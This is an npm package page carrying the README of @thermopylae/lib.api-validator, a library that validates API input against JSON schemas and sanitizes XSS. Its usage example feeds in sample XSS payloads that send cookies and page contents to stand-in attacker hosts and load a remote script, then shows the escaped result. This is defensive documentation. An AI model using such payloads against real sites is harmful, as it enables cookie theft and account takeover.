npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

@thermopylae/lib.api-validator

v1.0.1

Published

User input validation and sanitization for api services.

Downloads

11

Readme

User input validation and sanitization for api services.

Install

npm install @thermopylae/lib.api-validator

Description

This package allows you to validate user input used by API Services. Validation is performed against JSON schema and XSS injections. Detailed information can be found in the API Doc of the ApiValidator class.

Usage

Assuming you have a directory structure as described here, let's look at an example of how this package can be used. Supposing we have the following schemas:

└─ schemas
    └─ authentication-service
    │ ├─ login.json
    │ └─ logout.json
    ├─ book-service
    │ ├─ create.json
    │ ├─ read.json
    │ └─ delete.json
    └─ core
      └─ commons.json

We can perform validation in the following manner:

import { ApiValidator, ValidationError } from '@thermopylae/lib.api-validator';

(async function main() {
    /* Perform initialization */
    const validator = new ApiValidator();
    // assuming schemas from 'core' folder are referenced by schemas from other service folders
    await validator.init('./schemas', ['core']);
    
    /* Successfull Scenario */
    let validData = {
        username: 'username',
        password: 'password'
    };
    // schema has id: #AUTHENTICATION_SERVICE-LOGIN
    validData = await validator.validate('AUTHENTICATION_SERVICE', 'LOGIN', validData);
    
    /* Error Scenario */
    try {
        let invalidData = {
            nameeee: 'Les Trois Mousquetaires',
            author: 'Alexandre Dumas'
        };
        invalidData = await validator.validate('BOOK_SERVICE', 'CREATE', invalidData);
    } catch (e) {
        if (e instanceof ValidationError) {
            console.error(validator.joinErrors(e.errors, 'text'));
            console.error(validator.joinErrors(e.errors, 'json'));
        }
        throw e;
    }
    
    /* XSS sanitization */
    const jsonWithXss = {
        // XSS Attack: steal sensitive information
        name: '<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.body.innerHTML</script>',
        // XSS Attack: Steal user cookie
        surname: "<script>document.write('<img src=\"https://hacker-site.com/collect.gif?cookie=' + document.cookie + '\" />')</script>",
        // XSS Attack: Execute hacker script
        age: 'http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/xss.js">',
        // assuming this prop was added by some of your interceptors
        origin: {
            ip: '127.0.0.1'
        }
    };
    validator.sanitize(jsonWithXss, new Set(['origin.ip']));
    /**
     * After sanitization it will look like this:
     * {
     *   name: '&lt;script&gt;new Image().src="http://192.168.149.128/bogus.php?output="+document.body.innerHTML&lt;/script&gt;',
     *   surname: `&lt;script&gt;document.write('<img src="https://hacker-site.com/collect.gif?cookie=' + document.cookie + '" />')&lt;/script&gt;`,
     *   age: 'http://localhost:81/DVWA/vulnerabilities/xss_r/?name=&lt;script src="http://192.168.149.128/xss.js"&gt;',
     *   origin: {
     *       ip: '127.0.0.1'
     *   }
     * }
     */
    
    let stringWithXSS = '<button onclick=\'document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie\'></button>';
    stringWithXSS = validator.sanitize(stringWithXSS);
    /**
     * After sanitization it will look like this:
     * '&lt;button onclick=\'document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie\'&gt;&lt;/button&gt;'
     */
})();

API Reference

API documentation is available here.

It can also be generated by issuing the following commands:

git clone [email protected]:marinrusu1997/thermopylae.git
cd thermopylae
yarn install
yarn workspace @thermopylae/lib.api-validator run doc

Author

👤 Rusu Marin

📝 License

Copyright © 2021 Rusu Marin. This project is MIT licensed.